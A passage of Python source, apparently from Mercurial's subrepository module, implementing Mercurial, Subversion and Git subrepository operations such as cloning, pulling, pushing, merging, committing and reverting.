         return vfsmod.vfs(self._repo.vfs.join(b'cache/storehash'))
 
     def _readstorehashcache(self, remotepath):
         '''read the store hash cache for a given remote repository'''
         cachefile = _getstorehashcachename(remotepath)
         return self._cachestorehashvfs.tryreadlines(cachefile, b'r')
 
     def _cachestorehash(self, remotepath):
         '''cache the current store hash
 
         Each remote repo requires its own store hash cache, because a subrepo
         store may be "clean" versus a given remote repo, but not versus another
         '''
         cachefile = _getstorehashcachename(remotepath)
         with self._repo.lock():
             storehash = list(self._calcstorehash(remotepath))
             vfs = self._cachestorehashvfs
             vfs.writelines(cachefile, storehash, mode=b'wb', notindexed=True)
 
     def _getctx(self):
         '''fetch the context for this subrepo revision, possibly a workingctx
         '''
         if self._ctx.rev() is None:
             return self._repo[None]  # workingctx if parent is workingctx
         else:
             rev = self._state[1]
             return self._repo[rev]
 
     @annotatesubrepoerror
     def _initrepo(self, parentrepo, source, create):
         self._repo._subparent = parentrepo
         self._repo._subsource = source
 
         if create:
             lines = [b'[paths]\n']
 
             def addpathconfig(key, value):
                 if value:
                     lines.append(b'%s = %s\n' % (key, value))
                     self.ui.setconfig(b'paths', key, value, b'subrepo')
 
             defpath = _abssource(self._repo, abort=False)
             defpushpath = _abssource(self._repo, True, abort=False)
             addpathconfig(b'default', defpath)
             if defpath != defpushpath:
                 addpathconfig(b'default-push', defpushpath)
 
             self._repo.vfs.write(b'hgrc', util.tonativeeol(b''.join(lines)))
 
     @annotatesubrepoerror
     def add(self, ui, match, prefix, uipathfn, explicitonly, **opts):
         return cmdutil.add(
             ui, self._repo, match, prefix, uipathfn, explicitonly, **opts
         )
 
     @annotatesubrepoerror
     def addremove(self, m, prefix, uipathfn, opts):
         # In the same way as sub directories are processed, once in a subrepo,
         # always entry any of its subrepos.  Don't corrupt the options that will
         # be used to process sibling subrepos however.
         opts = copy.copy(opts)
         opts[b'subrepos'] = True
         return scmutil.addremove(self._repo, m, prefix, uipathfn, opts)
 
     @annotatesubrepoerror
     def cat(self, match, fm, fntemplate, prefix, **opts):
         rev = self._state[1]
         ctx = self._repo[rev]
         return cmdutil.cat(
             self.ui, self._repo, ctx, match, fm, fntemplate, prefix, **opts
         )
 
     @annotatesubrepoerror
     def status(self, rev2, **opts):
         try:
             rev1 = self._state[1]
             ctx1 = self._repo[rev1]
             ctx2 = self._repo[rev2]
             return self._repo.status(ctx1, ctx2, **opts)
         except error.RepoLookupError as inst:
             self.ui.warn(
                 _(b'warning: error "%s" in subrepository "%s"\n')
                 % (inst, subrelpath(self))
             )
             return scmutil.status([], [], [], [], [], [], [])
 
     @annotatesubrepoerror
     def diff(self, ui, diffopts, node2, match, prefix, **opts):
         try:
             node1 = node.bin(self._state[1])
             # We currently expect node2 to come from substate and be
             # in hex format
             if node2 is not None:
                 node2 = node.bin(node2)
             logcmdutil.diffordiffstat(
                 ui,
                 self._repo,
                 diffopts,
                 node1,
                 node2,
                 match,
                 prefix=prefix,
                 listsubrepos=True,
                 **opts
             )
         except error.RepoLookupError as inst:
             self.ui.warn(
                 _(b'warning: error "%s" in subrepository "%s"\n')
                 % (inst, subrelpath(self))
             )
 
     @annotatesubrepoerror
     def archive(self, archiver, prefix, match=None, decode=True):
         self._get(self._state + (b'hg',))
         files = self.files()
         if match:
             files = [f for f in files if match(f)]
         rev = self._state[1]
         ctx = self._repo[rev]
         scmutil.prefetchfiles(
             self._repo, [ctx.rev()], scmutil.matchfiles(self._repo, files)
         )
         total = abstractsubrepo.archive(self, archiver, prefix, match)
         for subpath in ctx.substate:
             s = subrepo(ctx, subpath, True)
             submatch = matchmod.subdirmatcher(subpath, match)
             subprefix = prefix + subpath + b'/'
             total += s.archive(archiver, subprefix, submatch, decode)
         return total
 
     @annotatesubrepoerror
     def dirty(self, ignoreupdate=False, missing=False):
         r = self._state[1]
         if r == b'' and not ignoreupdate:  # no state recorded
             return True
         w = self._repo[None]
         if r != w.p1().hex() and not ignoreupdate:
             # different version checked out
             return True
         return w.dirty(missing=missing)  # working directory changed
 
     def basestate(self):
         return self._repo[b'.'].hex()
 
     def checknested(self, path):
         return self._repo._checknested(self._repo.wjoin(path))
 
     @annotatesubrepoerror
     def commit(self, text, user, date):
         # don't bother committing in the subrepo if it's only been
         # updated
         if not self.dirty(True):
             return self._repo[b'.'].hex()
         self.ui.debug(b"committing subrepo %s\n" % subrelpath(self))
         n = self._repo.commit(text, user, date)
         if not n:
             return self._repo[b'.'].hex()  # different version checked out
         return node.hex(n)
 
     @annotatesubrepoerror
     def phase(self, state):
         return self._repo[state or b'.'].phase()
 
     @annotatesubrepoerror
     def remove(self):
         # we can't fully delete the repository as it may contain
         # local-only history
         self.ui.note(_(b'removing subrepo %s\n') % subrelpath(self))
         hg.clean(self._repo, node.nullid, False)
 
     def _get(self, state):
         source, revision, kind = state
         parentrepo = self._repo._subparent
 
         if revision in self._repo.unfiltered():
             # Allow shared subrepos tracked at null to setup the sharedpath
             if len(self._repo) != 0 or not parentrepo.shared():
                 return True
         self._repo._subsource = source
         srcurl = _abssource(self._repo)
 
         # Defer creating the peer until after the status message is logged, in
         # case there are network problems.
         getpeer = lambda: hg.peer(self._repo, {}, srcurl)
 
         if len(self._repo) == 0:
             # use self._repo.vfs instead of self.wvfs to remove .hg only
             self._repo.vfs.rmtree()
 
             # A remote subrepo could be shared if there is a local copy
             # relative to the parent's share source.  But clone pooling doesn't
             # assemble the repos in a tree, so that can't be consistently done.
             # A simpler option is for the user to configure clone pooling, and
             # work with that.
             if parentrepo.shared() and hg.islocal(srcurl):
                 self.ui.status(
                     _(b'sharing subrepo %s from %s\n')
                     % (subrelpath(self), srcurl)
                 )
                 shared = hg.share(
                     self._repo._subparent.baseui,
                     getpeer(),
                     self._repo.root,
                     update=False,
                     bookmarks=False,
                 )
                 self._repo = shared.local()
             else:
                 # TODO: find a common place for this and this code in the
                 # share.py wrap of the clone command.
                 if parentrepo.shared():
                     pool = self.ui.config(b'share', b'pool')
                     if pool:
                         pool = util.expandpath(pool)
 
                     shareopts = {
                         b'pool': pool,
                         b'mode': self.ui.config(b'share', b'poolnaming'),
                     }
                 else:
                     shareopts = {}
 
                 self.ui.status(
                     _(b'cloning subrepo %s from %s\n')
                     % (subrelpath(self), util.hidepassword(srcurl))
                 )
                 other, cloned = hg.clone(
                     self._repo._subparent.baseui,
                     {},
                     getpeer(),
                     self._repo.root,
                     update=False,
                     shareopts=shareopts,
                 )
                 self._repo = cloned.local()
             self._initrepo(parentrepo, source, create=True)
             self._cachestorehash(srcurl)
         else:
             self.ui.status(
                 _(b'pulling subrepo %s from %s\n')
                 % (subrelpath(self), util.hidepassword(srcurl))
             )
             cleansub = self.storeclean(srcurl)
             exchange.pull(self._repo, getpeer())
             if cleansub:
                 # keep the repo clean after pull
                 self._cachestorehash(srcurl)
         return False
 
     @annotatesubrepoerror
     def get(self, state, overwrite=False):
         inrepo = self._get(state)
         source, revision, kind = state
         repo = self._repo
         repo.ui.debug(b"getting subrepo %s\n" % self._path)
         if inrepo:
             urepo = repo.unfiltered()
             ctx = urepo[revision]
             if ctx.hidden():
                 urepo.ui.warn(
                     _(b'revision %s in subrepository "%s" is hidden\n')
                     % (revision[0:12], self._path)
                 )
                 repo = urepo
         hg.updaterepo(repo, revision, overwrite)
 
     @annotatesubrepoerror
     def merge(self, state):
         self._get(state)
         cur = self._repo[b'.']
         dst = self._repo[state[1]]
         anc = dst.ancestor(cur)
 
         def mergefunc():
             if anc == cur and dst.branch() == cur.branch():
                 self.ui.debug(
                     b'updating subrepository "%s"\n' % subrelpath(self)
                 )
                 hg.update(self._repo, state[1])
             elif anc == dst:
                 self.ui.debug(
                     b'skipping subrepository "%s"\n' % subrelpath(self)
                 )
             else:
                 self.ui.debug(
                     b'merging subrepository "%s"\n' % subrelpath(self)
                 )
                 hg.merge(self._repo, state[1], remind=False)
 
         wctx = self._repo[None]
         if self.dirty():
             if anc != dst:
                 if _updateprompt(self.ui, self, wctx.dirty(), cur, dst):
                     mergefunc()
             else:
                 mergefunc()
         else:
             mergefunc()
 
     @annotatesubrepoerror
     def push(self, opts):
         force = opts.get(b'force')
         newbranch = opts.get(b'new_branch')
         ssh = opts.get(b'ssh')
 
         # push subrepos depth-first for coherent ordering
         c = self._repo[b'.']
         subs = c.substate  # only repos that are committed
         for s in sorted(subs):
             if c.sub(s).push(opts) == 0:
                 return False
 
         dsturl = _abssource(self._repo, True)
         if not force:
             if self.storeclean(dsturl):
                 self.ui.status(
                     _(b'no changes made to subrepo %s since last push to %s\n')
                     % (subrelpath(self), util.hidepassword(dsturl))
                 )
                 return None
         self.ui.status(
             _(b'pushing subrepo %s to %s\n')
             % (subrelpath(self), util.hidepassword(dsturl))
         )
         other = hg.peer(self._repo, {b'ssh': ssh}, dsturl)
         res = exchange.push(self._repo, other, force, newbranch=newbranch)
 
         # the repo is now clean
         self._cachestorehash(dsturl)
         return res.cgresult
 
     @annotatesubrepoerror
     def outgoing(self, ui, dest, opts):
         if b'rev' in opts or b'branch' in opts:
             opts = copy.copy(opts)
             opts.pop(b'rev', None)
             opts.pop(b'branch', None)
         return hg.outgoing(ui, self._repo, _abssource(self._repo, True), opts)
 
     @annotatesubrepoerror
     def incoming(self, ui, source, opts):
         if b'rev' in opts or b'branch' in opts:
             opts = copy.copy(opts)
             opts.pop(b'rev', None)
             opts.pop(b'branch', None)
         return hg.incoming(ui, self._repo, _abssource(self._repo, False), opts)
 
     @annotatesubrepoerror
     def files(self):
         rev = self._state[1]
         ctx = self._repo[rev]
         return ctx.manifest().keys()
 
     def filedata(self, name, decode):
         rev = self._state[1]
         data = self._repo[rev][name].data()
         if decode:
             data = self._repo.wwritedata(name, data)
         return data
 
     def fileflags(self, name):
         rev = self._state[1]
         ctx = self._repo[rev]
         return ctx.flags(name)
 
     @annotatesubrepoerror
     def printfiles(self, ui, m, uipathfn, fm, fmt, subrepos):
         # If the parent context is a workingctx, use the workingctx here for
         # consistency.
         if self._ctx.rev() is None:
             ctx = self._repo[None]
         else:
             rev = self._state[1]
             ctx = self._repo[rev]
         return cmdutil.files(ui, ctx, m, uipathfn, fm, fmt, subrepos)
 
     @annotatesubrepoerror
     def matchfileset(self, cwd, expr, badfn=None):
         if self._ctx.rev() is None:
             ctx = self._repo[None]
         else:
             rev = self._state[1]
             ctx = self._repo[rev]
 
         matchers = [ctx.matchfileset(cwd, expr, badfn=badfn)]
 
         for subpath in ctx.substate:
             sub = ctx.sub(subpath)
 
             try:
                 sm = sub.matchfileset(cwd, expr, badfn=badfn)
                 pm = matchmod.prefixdirmatcher(subpath, sm, badfn=badfn)
                 matchers.append(pm)
             except error.LookupError:
                 self.ui.status(
                     _(b"skipping missing subrepository: %s\n")
                     % self.wvfs.reljoin(reporelpath(self), subpath)
                 )
         if len(matchers) == 1:
             return matchers[0]
         return matchmod.unionmatcher(matchers)
 
     def walk(self, match):
         ctx = self._repo[None]
         return ctx.walk(match)
 
     @annotatesubrepoerror
     def forget(self, match, prefix, uipathfn, dryrun, interactive):
         return cmdutil.forget(
             self.ui,
             self._repo,
             match,
             prefix,
             uipathfn,
             True,
             dryrun=dryrun,
             interactive=interactive,
         )
 
     @annotatesubrepoerror
     def removefiles(
         self,
         matcher,
         prefix,
         uipathfn,
         after,
         force,
         subrepos,
         dryrun,
         warnings,
     ):
         return cmdutil.remove(
             self.ui,
             self._repo,
             matcher,
             prefix,
             uipathfn,
             after,
             force,
             subrepos,
             dryrun,
         )
 
     @annotatesubrepoerror
     def revert(self, substate, *pats, **opts):
         # reverting a subrepo is a 2 step process:
         # 1. if the no_backup is not set, revert all modified
         #    files inside the subrepo
         # 2. update the subrepo to the revision specified in
         #    the corresponding substate dictionary
         self.ui.status(_(b'reverting subrepo %s\n') % substate[0])
         if not opts.get('no_backup'):
             # Revert all files on the subrepo, creating backups
             # Note that this will not recursively revert subrepos
             # We could do it if there was a set:subrepos() predicate
             opts = opts.copy()
             opts['date'] = None
             opts['rev'] = substate[1]
 
             self.filerevert(*pats, **opts)
 
         # Update the repo to the revision specified in the given substate
         if not opts.get('dry_run'):
             self.get(substate, overwrite=True)
 
     def filerevert(self, *pats, **opts):
         ctx = self._repo[opts['rev']]
         parents = self._repo.dirstate.parents()
         if opts.get('all'):
             pats = [b'set:modified()']
         else:
             pats = []
         cmdutil.revert(self.ui, self._repo, ctx, parents, *pats, **opts)
 
     def shortid(self, revid):
         return revid[:12]
 
     @annotatesubrepoerror
     def unshare(self):
         # subrepo inherently violates our import layering rules
         # because it wants to make repo objects from deep inside the stack
         # so we manually delay the circular imports to not break
         # scripts that don't use our demand-loading
         global hg
         from . import hg as h
 
         hg = h
 
         # Nothing prevents a user from sharing in a repo, and then making that a
         # subrepo.  Alternately, the previous unshare attempt may have failed
         # part way through.  So recurse whether or not this layer is shared.
         if self._repo.shared():
             self.ui.status(_(b"unsharing subrepo '%s'\n") % self._relpath)
 
         hg.unshare(self.ui, self._repo)
 
     def verify(self, onpush=False):
         try:
             rev = self._state[1]
             ctx = self._repo.unfiltered()[rev]
             if ctx.hidden():
                 # Since hidden revisions aren't pushed/pulled, it seems worth an
                 # explicit warning.
                 msg = _(b"subrepo '%s' is hidden in revision %s") % (
                     self._relpath,
                     node.short(self._ctx.node()),
                 )
 
                 if onpush:
                     raise error.Abort(msg)
                 else:
                     self._repo.ui.warn(b'%s\n' % msg)
             return 0
         except error.RepoLookupError:
             # A missing subrepo revision may be a case of needing to pull it, so
             # don't treat this as an error for `hg verify`.
             msg = _(b"subrepo '%s' not found in revision %s") % (
                 self._relpath,
                 node.short(self._ctx.node()),
             )
 
             if onpush:
                 raise error.Abort(msg)
             else:
                 self._repo.ui.warn(b'%s\n' % msg)
             return 0
 
     @propertycache
     def wvfs(self):
         """return own wvfs for efficiency and consistency
         """
         return self._repo.wvfs
 
     @propertycache
     def _relpath(self):
         """return path to this subrepository as seen from outermost repository
         """
         # Keep consistent dir separators by avoiding vfs.join(self._path)
         return reporelpath(self._repo)
 
 
 class svnsubrepo(abstractsubrepo):
     def __init__(self, ctx, path, state, allowcreate):
         super(svnsubrepo, self).__init__(ctx, path)
         self._state = state
         self._exe = procutil.findexe(b'svn')
         if not self._exe:
             raise error.Abort(
                 _(b"'svn' executable not found for subrepo '%s'") % self._path
             )
 
     def _svncommand(self, commands, filename=b'', failok=False):
         cmd = [self._exe]
         extrakw = {}
         if not self.ui.interactive():
             # Making stdin be a pipe should prevent svn from behaving
             # interactively even if we can't pass --non-interactive.
             extrakw['stdin'] = subprocess.PIPE
             # Starting in svn 1.5 --non-interactive is a global flag
             # instead of being per-command, but we need to support 1.4 so
             # we have to be intelligent about what commands take
             # --non-interactive.
             if commands[0] in (b'update', b'checkout', b'commit'):
                 cmd.append(b'--non-interactive')
         cmd.extend(commands)
         if filename is not None:
             path = self.wvfs.reljoin(
                 self._ctx.repo().origroot, self._path, filename
             )
             cmd.append(path)
         env = dict(encoding.environ)
         # Avoid localized output, preserve current locale for everything else.
         lc_all = env.get(b'LC_ALL')
         if lc_all:
             env[b'LANG'] = lc_all
             del env[b'LC_ALL']
         env[b'LC_MESSAGES'] = b'C'
         p = subprocess.Popen(
             pycompat.rapply(procutil.tonativestr, cmd),
             bufsize=-1,
             close_fds=procutil.closefds,
             stdout=subprocess.PIPE,
             stderr=subprocess.PIPE,
             env=procutil.tonativeenv(env),
             **extrakw
         )
         stdout, stderr = map(util.fromnativeeol, p.communicate())
         stderr = stderr.strip()
         if not failok:
             if p.returncode:
                 raise error.Abort(
                     stderr or b'exited with code %d' % p.returncode
                 )
             if stderr:
                 self.ui.warn(stderr + b'\n')
         return stdout, stderr
 
     @propertycache
     def _svnversion(self):
         output, err = self._svncommand(
             [b'--version', b'--quiet'], filename=None
         )
         m = re.search(br'^(\d+)\.(\d+)', output)
         if not m:
             raise error.Abort(_(b'cannot retrieve svn tool version'))
         return (int(m.group(1)), int(m.group(2)))
 
     def _svnmissing(self):
         return not self.wvfs.exists(b'.svn')
 
     def _wcrevs(self):
         # Get the working directory revision as well as the last
         # commit revision so we can compare the subrepo state with
         # both. We used to store the working directory one.
         output, err = self._svncommand([b'info', b'--xml'])
         doc = xml.dom.minidom.parseString(output)
         entries = doc.getElementsByTagName('entry')
         lastrev, rev = b'0', b'0'
         if entries:
             rev = pycompat.bytestr(entries[0].getAttribute('revision')) or b'0'
             commits = entries[0].getElementsByTagName('commit')
             if commits:
                 lastrev = (
                     pycompat.bytestr(commits[0].getAttribute('revision'))
                     or b'0'
                 )
         return (lastrev, rev)
 
     def _wcrev(self):
         return self._wcrevs()[0]
 
     def _wcchanged(self):
         """Return (changes, extchanges, missing) where changes is True
         if the working directory was changed, extchanges is
         True if any of these changes concern an external entry and missing
         is True if any change is a missing entry.
         """
         output, err = self._svncommand([b'status', b'--xml'])
         externals, changes, missing = [], [], []
         doc = xml.dom.minidom.parseString(output)
         for e in doc.getElementsByTagName('entry'):
             s = e.getElementsByTagName('wc-status')
             if not s:
                 continue
             item = s[0].getAttribute('item')
             props = s[0].getAttribute('props')
             path = e.getAttribute('path').encode('utf8')
             if item == 'external':
                 externals.append(path)
             elif item == 'missing':
                 missing.append(path)
             if item not in (
                 '',
                 'normal',
                 'unversioned',
                 'external',
             ) or props not in ('', 'none', 'normal'):
                 changes.append(path)
         for path in changes:
             for ext in externals:
                 if path == ext or path.startswith(ext + pycompat.ossep):
                     return True, True, bool(missing)
         return bool(changes), False, bool(missing)
 
     @annotatesubrepoerror
     def dirty(self, ignoreupdate=False, missing=False):
         if self._svnmissing():
             return self._state[1] != b''
         wcchanged = self._wcchanged()
         changed = wcchanged[0] or (missing and wcchanged[2])
         if not changed:
             if self._state[1] in self._wcrevs() or ignoreupdate:
                 return False
         return True
 
     def basestate(self):
         lastrev, rev = self._wcrevs()
         if lastrev != rev:
             # Last committed rev is not the same than rev. We would
             # like to take lastrev but we do not know if the subrepo
             # URL exists at lastrev.  Test it and fallback to rev it
             # is not there.
             try:
                 self._svncommand(
                     [b'list', b'%s@%s' % (self._state[0], lastrev)]
                 )
                 return lastrev
             except error.Abort:
                 pass
         return rev
 
     @annotatesubrepoerror
     def commit(self, text, user, date):
         # user and date are out of our hands since svn is centralized
         changed, extchanged, missing = self._wcchanged()
         if not changed:
             return self.basestate()
         if extchanged:
             # Do not try to commit externals
             raise error.Abort(_(b'cannot commit svn externals'))
         if missing:
             # svn can commit with missing entries but aborting like hg
             # seems a better approach.
             raise error.Abort(_(b'cannot commit missing svn entries'))
         commitinfo, err = self._svncommand([b'commit', b'-m', text])
         self.ui.status(commitinfo)
         newrev = re.search(b'Committed revision ([0-9]+).', commitinfo)
         if not newrev:
             if not commitinfo.strip():
                 # Sometimes, our definition of "changed" differs from
                 # svn one. For instance, svn ignores missing files
                 # when committing. If there are only missing files, no
                 # commit is made, no output and no error code.
                 raise error.Abort(_(b'failed to commit svn changes'))
             raise error.Abort(commitinfo.splitlines()[-1])
         newrev = newrev.groups()[0]
         self.ui.status(self._svncommand([b'update', b'-r', newrev])[0])
         return newrev
 
     @annotatesubrepoerror
     def remove(self):
         if self.dirty():
             self.ui.warn(
                 _(b'not removing repo %s because it has changes.\n')
                 % self._path
             )
             return
         self.ui.note(_(b'removing subrepo %s\n') % self._path)
 
         self.wvfs.rmtree(forcibly=True)
         try:
             pwvfs = self._ctx.repo().wvfs
             pwvfs.removedirs(pwvfs.dirname(self._path))
         except OSError:
             pass
 
     @annotatesubrepoerror
     def get(self, state, overwrite=False):
         if overwrite:
             self._svncommand([b'revert', b'--recursive'])
         args = [b'checkout']
         if self._svnversion >= (1, 5):
             args.append(b'--force')
         # The revision must be specified at the end of the URL to properly
         # update to a directory which has since been deleted and recreated.
         args.append(b'%s@%s' % (state[0], state[1]))
 
         # SEC: check that the ssh url is safe
         util.checksafessh(state[0])
 
         status, err = self._svncommand(args, failok=True)
         _sanitize(self.ui, self.wvfs, b'.svn')
         if not re.search(b'Checked out revision [0-9]+.', status):
             if b'is already a working copy for a different URL' in err and (
                 self._wcchanged()[:2] == (False, False)
             ):
                 # obstructed but clean working copy, so just blow it away.
                 self.remove()
                 self.get(state, overwrite=False)
                 return
             raise error.Abort((status or err).splitlines()[-1])
         self.ui.status(status)
 
     @annotatesubrepoerror
     def merge(self, state):
         old = self._state[1]
         new = state[1]
         wcrev = self._wcrev()
         if new != wcrev:
             dirty = old == wcrev or self._wcchanged()[0]
             if _updateprompt(self.ui, self, dirty, wcrev, new):
                 self.get(state, False)
 
     def push(self, opts):
         # push is a no-op for SVN
         return True
 
     @annotatesubrepoerror
     def files(self):
         output = self._svncommand([b'list', b'--recursive', b'--xml'])[0]
         doc = xml.dom.minidom.parseString(output)
         paths = []
         for e in doc.getElementsByTagName('entry'):
             kind = pycompat.bytestr(e.getAttribute('kind'))
             if kind != b'file':
                 continue
             name = ''.join(
                 c.data
                 for c in e.getElementsByTagName('name')[0].childNodes
                 if c.nodeType == c.TEXT_NODE
             )
             paths.append(name.encode('utf8'))
         return paths
 
     def filedata(self, name, decode):
         return self._svncommand([b'cat'], name)[0]
 
 
 class gitsubrepo(abstractsubrepo):
     def __init__(self, ctx, path, state, allowcreate):
         super(gitsubrepo, self).__init__(ctx, path)
         self._state = state
         self._abspath = ctx.repo().wjoin(path)
         self._subparent = ctx.repo()
         self._ensuregit()
 
     def _ensuregit(self):
         try:
             self._gitexecutable = b'git'
             out, err = self._gitnodir([b'--version'])
         except OSError as e:
             genericerror = _(b"error executing git for subrepo '%s': %s")
             notfoundhint = _(b"check git is installed and in your PATH")
             if e.errno != errno.ENOENT:
                 raise error.Abort(
                     genericerror % (self._path, encoding.strtolocal(e.strerror))
                 )
             elif pycompat.iswindows:
                 try:
                     self._gitexecutable = b'git.cmd'
                     out, err = self._gitnodir([b'--version'])
                 except OSError as e2:
                     if e2.errno == errno.ENOENT:
                         raise error.Abort(
                             _(
                                 b"couldn't find 'git' or 'git.cmd'"
                                 b" for subrepo '%s'"
                             )
                             % self._path,
                             hint=notfoundhint,
                         )
                     else:
                         raise error.Abort(
                             genericerror
                             % (self._path, encoding.strtolocal(e2.strerror))
                         )
             else:
                 raise error.Abort(
                     _(b"couldn't find git for subrepo '%s'") % self._path,
                     hint=notfoundhint,
                 )
         versionstatus = self._checkversion(out)
         if versionstatus == b'unknown':
             self.ui.warn(_(b'cannot retrieve git version\n'))
         elif versionstatus == b'abort':
             raise error.Abort(
                 _(b'git subrepo requires at least 1.6.0 or later')
             )
         elif versionstatus == b'warning':
             self.ui.warn(_(b'git subrepo requires at least 1.6.0 or later\n'))
 
     @staticmethod
     def _gitversion(out):
         m = re.search(br'^git version (\d+)\.(\d+)\.(\d+)', out)
         if m:
             return (int(m.group(1)), int(m.group(2)), int(m.group(3)))
 
         m = re.search(br'^git version (\d+)\.(\d+)', out)
         if m:
             return (int(m.group(1)), int(m.group(2)), 0)
 
         return -1
 
     @staticmethod
     def _checkversion(out):
         '''ensure git version is new enough
 
         >>> _checkversion = gitsubrepo._checkversion
         >>> _checkversion(b'git version 1.6.0')
         'ok'
         >>> _checkversion(b'git version 1.8.5')
         'ok'
         >>> _checkversion(b'git version 1.4.0')
         'abort'
         >>> _checkversion(b'git version 1.5.0')
         'warning'
         >>> _checkversion(b'git version 1.9-rc0')
         'ok'
         >>> _checkversion(b'git version 1.9.0.265.g81cdec2')
         'ok'
         >>> _checkversion(b'git version 1.9.0.GIT')
         'ok'
         >>> _checkversion(b'git version 12345')
         'unknown'
         >>> _checkversion(b'no')
         'unknown'
         '''
         version = gitsubrepo._gitversion(out)
         # git 1.4.0 can't work at all, but 1.5.X can in at least some cases,
         # despite the docstring comment.  For now, error on 1.4.0, warn on
         # 1.5.0 but attempt to continue.
         if version == -1:
             return b'unknown'
         if version < (1, 5, 0):
             return b'abort'
         elif version < (1, 6, 0):
             return b'warning'
         return b'ok'
 
     def _gitcommand(self, commands, env=None, stream=False):
         return self._gitdir(commands, env=env, stream=stream)[0]
 
     def _gitdir(self, commands, env=None, stream=False):
         return self._gitnodir(
             commands, env=env, stream=stream, cwd=self._abspath
         )
 
     def _gitnodir(self, commands, env=None, stream=False, cwd=None):
         """Calls the git command
 
         The methods tries to call the git command. versions prior to 1.6.0
         are not supported and very probably fail.
         """
         self.ui.debug(b'%s: git %s\n' % (self._relpath, b' '.join(commands)))
         if env is None:
             env = encoding.environ.copy()
         # disable localization for Git output (issue5176)
         env[b'LC_ALL'] = b'C'
         # fix for Git CVE-2015-7545
         if b'GIT_ALLOW_PROTOCOL' not in env:
             env[b'GIT_ALLOW_PROTOCOL'] = b'file:git:http:https:ssh'
         # unless ui.quiet is set, print git's stderr,
         # which is mostly progress and useful info
         errpipe = None
         if self.ui.quiet:
             errpipe = pycompat.open(os.devnull, b'w')
         if self.ui._colormode and len(commands) and commands[0] == b"diff":
             # insert the argument in the front,
             # the end of git diff arguments is used for paths
             commands.insert(1, b'--color')
         p = subprocess.Popen(
             pycompat.rapply(
                 procutil.tonativestr, [self._gitexecutable] + commands
             ),
             bufsize=-1,
             cwd=pycompat.rapply(procutil.tonativestr, cwd),
             env=procutil.tonativeenv(env),
             close_fds=procutil.closefds,
             stdout=subprocess.PIPE,
             stderr=errpipe,
         )
         if stream:
             return p.stdout, None
 
         retdata = p.stdout.read().strip()
         # wait for the child to exit to avoid race condition.
         p.wait()
 
         if p.returncode != 0 and p.returncode != 1:
             # there are certain error codes that are ok
             command = commands[0]
             if command in (b'cat-file', b'symbolic-ref'):
                 return retdata, p.returncode
             # for all others, abort
             raise error.Abort(
                 _(b'git %s error %d in %s')
                 % (command, p.returncode, self._relpath)
             )
 
         return retdata, p.returncode
 
     def _gitmissing(self):
         return not self.wvfs.exists(b'.git')
 
     def _gitstate(self):
         return self._gitcommand([b'rev-parse', b'HEAD'])
 
     def _gitcurrentbranch(self):
         current, err = self._gitdir([b'symbolic-ref', b'HEAD', b'--quiet'])
         if err:
             current = None
         return current
 
     def _gitremote(self, remote):
         out = self._gitcommand([b'remote', b'show', b'-n', remote])
         line = out.split(b'\n')[1]
         i = line.index(b'URL: ') + len(b'URL: ')
         return line[i:]
 
     def _githavelocally(self, revision):
         out, code = self._gitdir([b'cat-file', b'-e', revision])
         return code == 0
 
     def _gitisancestor(self, r1, r2):
         base = self._gitcommand([b'merge-base', r1, r2])
         return base == r1
 
     def _gitisbare(self):
         return self._gitcommand([b'config', b'--bool', b'core.bare']) == b'true'
 
     def _gitupdatestat(self):
         """This must be run before git diff-index.
         diff-index only looks at changes to file stat;
         this command looks at file contents and updates the stat."""
         self._gitcommand([b'update-index', b'-q', b'--refresh'])
 
     def _gitbranchmap(self):
         '''returns 2 things:
         a map from git branch to revision
         a map from revision to branches'''
         branch2rev = {}
         rev2branch = {}
 
         out = self._gitcommand(
             [b'for-each-ref', b'--format', b'%(objectname) %(refname)']
         )
         for line in out.split(b'\n'):
             revision, ref = line.split(b' ')
             if not ref.startswith(b'refs/heads/') and not ref.startswith(
                 b'refs/remotes/'
             ):
                 continue
             if ref.startswith(b'refs/remotes/') and ref.endswith(b'/HEAD'):
                 continue  # ignore remote/HEAD redirects
             branch2rev[ref] = revision
             rev2branch.setdefault(revision, []).append(ref)
         return branch2rev, rev2branch
 
     def _gittracking(self, branches):
         """return map of remote branch to local tracking branch"""
         # assumes no more than one local tracking branch for each remote
         tracking = {}
         for b in branches:
             if b.startswith(b'refs/remotes/'):
                 continue
             bname = b.split(b'/', 2)[2]
             remote = self._gitcommand([b'config', b'branch.%s.remote' % bname])
             if remote:
                 ref = self._gitcommand([b'config', b'branch.%s.merge' % bname])
                 tracking[
                     b'refs/remotes/%s/%s' % (remote, ref.split(b'/', 2)[2])
                 ] = b
         return tracking
 
     def _abssource(self, source):
         if b'://' not in source:
             # recognize the scp syntax as an absolute source
             colon = source.find(b':')
             if colon != -1 and b'/' not in source[:colon]:
                 return source
         self._subsource = source
         return _abssource(self)
 
     def _fetch(self, source, revision):
         if self._gitmissing():
             # SEC: check for safe ssh url
             util.checksafessh(source)
 
             source = self._abssource(source)
             self.ui.status(
                 _(b'cloning subrepo %s from %s\n') % (self._relpath, source)
             )
             self._gitnodir([b'clone', source, self._abspath])
         if self._githavelocally(revision):
             return
         self.ui.status(
             _(b'pulling subrepo %s from %s\n')
             % (self._relpath, self._gitremote(b'origin'))
         )
         # try only origin: the originally cloned repo
         self._gitcommand([b'fetch'])
         if not self._githavelocally(revision):
             raise error.Abort(
                 _(b'revision %s does not exist in subrepository "%s"\n')
                 % (revision, self._relpath)
             )
 
     @annotatesubrepoerror
     def dirty(self, ignoreupdate=False, missing=False):
         if self._gitmissing():
             return self._state[1] != b''
         if self._gitisbare():
             return True
         if not ignoreupdate and self._state[1] != self._gitstate():
             # different version checked out
             return True
         # check for staged changes or modified files; ignore untracked files
         self._gitupdatestat()
         out, code = self._gitdir([b'diff-index', b'--quiet', b'HEAD'])
         return code == 1
 
     def basestate(self):
         return self._gitstate()
 
     @annotatesubrepoerror
     def get(self, state, overwrite=False):
         source, revision, kind = state
         if not revision:
             self.remove()
             return
         self._fetch(source, revision)
         # if the repo was set to be bare, unbare it
         if self._gitisbare():
             self._gitcommand([b'config', b'core.bare', b'false'])
             if self._gitstate() == revision:
                 self._gitcommand([b'reset', b'--hard', b'HEAD'])
                 return
         elif self._gitstate() == revision:
             if overwrite:
                 # first reset the index to unmark new files for commit, because
                 # reset --hard will otherwise throw away files added for commit,
                 # not just unmark them.
                 self._gitcommand([b'reset', b'HEAD'])
                 self._gitcommand([b'reset', b'--hard', b'HEAD'])
             return
         branch2rev, rev2branch = self._gitbranchmap()
 
         def checkout(args):
             cmd = [b'checkout']
             if overwrite:
                 # first reset the index to unmark new files for commit, because
                 # the -f option will otherwise throw away files added for
                 # commit, not just unmark them.
